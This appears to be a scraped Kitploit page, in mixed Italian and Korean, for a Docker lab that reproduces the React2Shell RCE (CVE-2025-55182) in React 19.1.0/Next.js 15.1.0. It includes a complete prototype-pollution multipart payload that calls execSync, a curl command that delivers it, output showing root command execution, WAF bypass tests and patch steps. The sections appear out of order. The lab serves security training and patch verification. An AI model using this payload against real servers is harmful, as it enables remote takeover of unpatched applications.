cve-2025-55182-test-lab-windows — # Laboratorio di test basato su Docker per la vulnerabilità RCE CVE-2025-55182 (React2Shell) in React 19.1.0/Next.js 15.1.0. Include script di exploit, test di bypass WAF con NGINX/ModSecurity e confronto con la versione patchata per formazione sulla sicurezza. | Kitploit

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

### Passo 4: verifica dei risultati

I risultati dell'esecuzione dei comandi possono essere verificati nei log del server:

```bash
docker compose logs vulnerable-app --tail=20

# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

Porta	Servizio	Versione React	Scopo	Stato WAF
3000	vulnerable-app	19.1.0	Vulnerabile - test CVE-2025-55182	❌ Nessuna protezione
3001	patched-app	19.1.2	Sicuro - verifica dell'efficacia della patch	✅ Patchato
8080	nginx → vulnerable	19.1.0	Test WAF (NGINX)	⚠️ Limitato (body non ispezionato)
8081	apache → vulnerable	19.1.0	Test WAF (ModSecurity)	⚠️ Limitato (risposta 405)
8082	nginx → patched	19.1.2	Test di doppia protezione	✅ Patchato

# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403

# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 예상 응답: HTTP 403

# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker 환경 설정
├── run-tests.ps1                       # Windows 실행 스크립트
├── run-tests.sh                        # Linux/Mac 실행 스크립트
│
├── vulnerable-app/                     # 취약 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 기본 레이아웃
│   │   ├── page.js                     # 메인 페이지
│   │   └── api/
│   │       └── health/                 # 헬스 체크 엔드포인트
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 취약점 해결 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 공격 스크립트
│   ├── exploit-working.js              # RCE 공격 (Node.js)
│   ├── exploit-working.ps1             # RCE 공격 (PowerShell)
│   └── exploit-working.cmd             # RCE 공격 (배치 파일)
│
├── nginx/                              # NGINX WAF 설정
│   ├── nginx.conf                      # CVE-2025-55182 차단 룰
│   └── nginx-patched.conf              # 프락시 설정
│
└── apache/                             # Apache ModSecurity 설정
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity 차단 룰

# 공격이 실행되었는지 확인
docker compose exec vulnerable-app ps aux | grep node

# 파일 시스템 변경 확인 (파일을 작성한 경우)
docker compose exec vulnerable-app ls -la /tmp

Aggiornare React - installare la versione 19.1.2 o successiva:
```
npm install react@^19.1.2 react-dom@^19.1.2
```
Aggiornare Next.js - installare la versione 15.1.9 o successiva:
```
npm install next@^15.1.9
```
Ricompilazione e ridistribuzione:
```
npm run build
# 프로덕션 환경에 배포
```

# 시작
.\run-tests.ps1 start

# 상태 확인
.\run-tests.ps1 status

# 로그 보기
.\run-tests.ps1 logs

# 중지
.\run-tests.ps1 stop

# 초기화 (모든 컨테이너 및 볼륨 삭제)
.\run-tests.ps1 clean

# 1. 버전 확인
docker compose exec vulnerable-app npm list react next

# 다음과 같이 표시되어야 함:
# [email protected]
# [email protected]

# 2. 서버가 응답하는지 확인
curl http://localhost:3000

# 3. Docker 로그 확인
docker compose logs vulnerable-app --tail=50

# 4. 컨테이너 재시작
docker compose restart vulnerable-app

# NGINX 설정 테스트
docker compose exec nginx nginx -t

# Apache 설정 테스트
docker compose exec apache apachectl configtest

# 로그 확인
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

cve-2025-55182-test-lab-windows

Più Popolari

Test CVE-2025-55182 (React2Shell)

📋 Indice

Panoramica

Caratteristiche principali

Risultato dell'attacco

Informazioni sulla vulnerabilità

CVE-2025-55182 (React2Shell)

Versioni vulnerabili

Versioni patchate

Meccanismo dell'attacco

Avvio rapido

Prerequisiti

Passo 1: avvio dell'ambiente

Passo 2: verifica dello stato

Passo 3: esecuzione dell'attacco

Dimostrazione dell'attacco

Script di attacco automatizzato

exploit-working.js ⭐ Consigliato

Attacco manuale

Attacco diretto con curl

Esecuzione di comandi personalizzati

Ambiente di test

Container Docker

Ambiente dell'applicazione

Scenari di test

Scenario 1: attacco alla versione vulnerabile

Scenario 2: test della versione patchata

Scenario 3: test di blocco WAF

Regole di difesa WAF

Regole di difesa NGINX

Regole Apache ModSecurity

Test WAF

Verifica dei log WAF

⚠️ Limitazioni del WAF

NGINX (porta 8080)

Apache ModSecurity (porta 8081)

Struttura dei file

Metodi di verifica dell'attacco

Metodo 1: verifica dell'output dello script

Metodo 2: monitoraggio dei log del server

Metodo 3: verifica degli indicatori di attacco

Misure correttive

Patch npm

Verifica dopo la patch

Misure di sicurezza se la patch non è possibile

Comandi Docker

Gestione dell'ambiente

Risoluzione dei problemi

Se l'attacco non funziona

Se non è possibile verificare l'output

Docker Desktop non in esecuzione (solo Windows)

Impossibile eseguire lo script PowerShell (solo Windows)

Errore di autorizzazione

Conflitto di porte

Se il WAF non funziona

Riferimenti

Advisory di sicurezza ufficiali

Analisi tecniche

Proof of Concepts

Licenza

`exploit-working.js` ⭐ Consigliato